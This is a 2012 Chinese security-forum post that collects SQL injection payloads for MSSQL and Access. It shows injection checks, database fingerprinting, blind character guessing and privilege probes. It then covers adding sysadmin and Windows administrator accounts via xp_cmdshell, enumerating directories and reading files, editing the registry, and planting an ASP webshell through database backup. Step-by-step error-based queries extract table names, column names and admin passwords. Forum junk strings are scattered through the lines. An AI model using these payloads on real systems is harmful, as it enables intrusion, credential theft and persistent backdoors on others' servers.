找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ! y* B2 w* {/ I( ]5 Z2 |& h
;and 1=1
2 C2 X; R2 t& ?2 ];and 1=2 5 G7 r, B6 `* W4 i( H# J

% F, I, r9 V5 [4 p; J/ e2.初步判断是否是mssql
( C# H9 g8 R. C( h! F/ L4 G;and user>0
: G( ?7 `, a4 a, d4 K
6 T9 q6 w/ y( _5 s2 R3.判断数据库系统
( D& j4 M) p9 A5 u; Z, K: d;and (select count(*) from sysobjects)>0 mssql ) F/ n/ U* k# y' |* S+ k- G+ U
;and (select count(*) from msysobjects)>0 access - B% e; P+ g  _: s- _- v& b
7 z, _4 r+ }) t; s
4.注入参数是字符 & s4 k# i% l" o; H3 q8 M2 U
'and [查询条件] and ''='
% J! x  y) ~* w- @  {* x4 j: L: S: P; ~+ X& r& V# ?
5.搜索时没过滤参数的
; J/ j8 d% S0 x+ ^( _3 ~  X'and [查询条件] and '%25'='
* [& R5 M& x, x6 E' d8 c+ u3 q2 i7 }$ B# O* ~5 k1 T2 P
6.猜数表名
, K8 k* {1 [/ ?- y# P! q) `; A;and (select Count(*) from [表名])>0 ' a) m2 ]8 B, Q$ ]
2 n# u+ G; ^* M* S1 _
7.猜字段 % g6 Y8 L/ i) ^3 I" j% `" x( c5 `
;and (select Count(字段名) from 表名)>0 2 e, R5 \( J( V! X5 P

1 w/ N1 r; k- I( m! X8.猜字段中记录长度
- n' a' q# |! v& S;and (select top 1 len(字段名) from 表名)>0 / o0 V" v' i! f4 F. y
4 F' W: o  j( Y2 R& S4 e( M4 D
9.(1)猜字段的ascii值(access)
8 f0 u- D! }1 [;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
- f' r/ `2 Z  v3 {+ U% u' k  p7 E
% F" Z0 z5 T/ g) v& r(2)猜字段的ascii值(mssql)
- K# i4 w' u" a;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
: ]' A# |7 |* K! t
! F3 J; h8 a7 D  O10.测试权限结构(mssql)
& k3 y8 D! |% C/ @+ K2 H$ m# {;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % d% ?7 ?5 o, \1 c" K5 t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 q6 X! ~0 d+ H& b7 N;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# `7 X3 ?. M# g+ |- |/ L! j) ^;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( F' @8 r& q+ W" l6 T( b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 B6 j" j1 e& E( b+ b;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & Q$ _6 D3 b+ J; s" T. P$ M3 S
;and 1=(select IS_MEMBER('db_owner'));--
$ `" v4 S; a. A
& ?+ i4 B) l( n& U. [. E0 q7 J11.添加mssql和系统的帐户 0 g3 |. `- |2 F+ E7 W. X- D0 I1 ?
;exec master.dbo.sp_addlogin username;-- # v+ N! e9 c' I: ^1 H4 q: Y$ n8 ?
;exec master.dbo.sp_password null,username,password;-- 9 s$ a) ]/ P' t! v3 W! f
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 `! ]" c& {" h; u. \& A0 R
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
0 M9 @6 p& Y+ |  O# H;exec master.dbo.xp_cmdshell 'net user username password /add';--
# P. `, y) O" D8 P) V; E;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & b2 j: Y1 S' ]$ G4 H
! d, [6 x' q) g% h" C
12.(1)遍历目录 1 E8 j+ c$ i& y: A) m
;create table dirs(paths varchar(100), id int)
$ z8 B  `. `. ~& }9 e9 R/ T- @;insert dirs exec master.dbo.xp_dirtree 'c:\'
0 l# v: x. z- w$ Z;and (select top 1 paths from dirs)>0 . A6 x2 D& f1 F1 {2 J
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
; v. T- J( [, e  ^1 d. r' J! ]  e& b: l) ]3 q
(2)遍历目录 , L6 ^/ [6 k0 Q; A1 k/ e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 e  `) N9 f/ D2 i- d# E;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
0 G2 l$ m. T# g  L1 O;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " M5 j% v+ ~( q0 z% a2 P. f1 H/ N. l
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ! N9 f; l$ z* g6 O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ j; ]' ~/ l$ Z* e$ O) q$ B7 N0 k" }2 N: S3 ^
13.mssql中的存储过程
  A, U, N& M! G1 q$ M' G3 D, Gxp_regenumvalues 注册表根键, 子键 0 A" D3 h2 U* X& I( L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ; G1 {+ z0 Y" i9 Y3 _' T  w% T0 B
xp_regread 根键,子键,键值名
" n! f7 {& {, |( ?; i;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" G' o: R1 P" R* N( {" ?" Sxp_regwrite 根键,子键, 值名, 值类型, 值
& b8 Y1 X( C; N) \值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 k2 {) J8 Y8 |" Q8 C5 l4 Z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
7 q. D: |+ y3 _! q6 Oxp_regdeletevalue 根键,子键,值名
" i1 ?1 C% K/ R1 dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 6 f& R; F0 I& {0 i) H$ v, v1 {$ t
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) G3 f' B$ \0 Y1 {( f$ f0 M' ^! e. U: _, ?7 I+ k0 f
14.mssql的backup创建webshell ( ^$ @5 R. L- Z$ Y
use model : I' F/ {" L  ?4 J4 Z
create table cmd(str image); & b4 `! H) U/ o6 R# Z. [9 F% a& u6 [
insert into cmd(str) values ('<% Dim oScript %>'); 5 |0 G8 S4 R6 c
backup database model to disk='c:\l.asp';
$ j  P& S. X" z; O8 M
: l4 E9 V8 B% `6 [7 R15.mssql内置函数
5 }/ Z1 {; }/ c  _; y;and (select @@version)>0 获得Windows的版本号
, V$ s7 |" ^6 c( B  C% H9 e+ b;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& V! L6 \! r! j2 _;and (select user_name())>0 爆当前系统的连接用户 - ~/ c1 I' l" m8 B) h$ W4 h
;and (select db_name())>0 得到当前连接的数据库 - x" z! `/ }6 Q. g$ x! D

2 J. v+ Q9 {6 G% {" w+ X" l
+ Y, q" V) L6 E, w3 [4 ?) b* w. Q# `
MSSQL手注暴库* U+ J$ R* d! R) n0 o3 C8 c

& O( `4 I5 T# G$ f6 s' D  m1.暴出当前表名和列名
; n2 D9 N5 `* [$ X在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。5 d4 j( j% W9 u

  G, D8 T$ T% d0 \" [第一.爆出所有数据库名
8 t6 g, _0 L1 W  @0 [- H: _利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
; w( `2 G& i/ e* b3 K  n第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
, a" q: x, w, a% ]& }/ C* R+ ]! B. D# _5 P/ m+ k
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
1 J( N5 n* r) m- k2 }+ h3 g0 b2 V
7 i0 ~  d& `- q  B6 g- Z6 y# s) H$ |/ s
第二.爆出指定库中的所有表名
/ z- W6 N2 v+ i9 `. Y5 C得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
) ^& f8 U6 m" W再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。9 [, Y6 c0 F9 {2 @

) \4 k! O4 ?9 N6 e! R1 E7 d0 M- Tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--( O/ u: n7 Q9 J9 @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# ^4 ?- N7 d( w/ K  `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
/ d! a4 \: g$ Q2 Q6 {7 A7 `/ Z& T/ V" m* J
4.爆出指定表中的所有列名0 u/ n' X& L; D% A8 d  d/ t2 e& r
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
' H* C6 T$ g" a* G( G//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
8 e3 G& C7 H# O* z) i; F
" H$ }# B: A) L, J4 Y( x1 g& pand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名) R* p1 u4 c, O& E; t) c/ U/ W

7 M9 H3 R- J( ?  G; Q再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % O7 r% b- k2 H, C# K) h
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
" P8 i1 K6 u8 t" H+ w
4 \2 l8 A$ q- S! A
+ J+ W3 k! |  c# I9 k7 m( cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
. z& K/ ]4 ^* H9 f% E7 E
3 A, j7 i& T  Q' j1 t% w% Rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名& J" c6 M/ L( C; C$ g3 J+ u; h
8 [2 f( V* `# W& c8 x& k
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- $ R8 w3 K  M9 i) C4 Q( v. \
6 @7 ^6 o7 V" k( B7 {$ Z9 k: l) y3 G

" T! l+ D6 z) ?8 Z3 l7 w9 g! w3 b& K- u# F5 N
5.读取指定表中的数据
$ `. P+ r5 I- q, P
+ L, `9 W- I6 P2 kand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; u1 n! f! n' P+ ~4 u. |

3 X6 {0 r2 H# o  w1 vand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
$ [3 G; W6 K5 R) [7 C: W+ X# n
& R& s  y7 m4 z+ Z3 v- {and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码2 ]1 y4 N$ `4 R4 `
# D" W8 m& @6 X: F

, q0 }6 H& R) z  a2 Yand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
6 I; C- J9 @' Y* I. E+ X! Q. ~; E8 Y/ H' u; H! R: R
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ Y, O1 {" e5 d& `3 P$ X

2 m' \# m2 k# @) D1 K) z7 V* ~and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--: X; }+ x/ G9 R$ L# i
+ [/ E5 [$ o4 l) ^. Y* J
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。) A! ]/ `1 K( p  m' |4 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表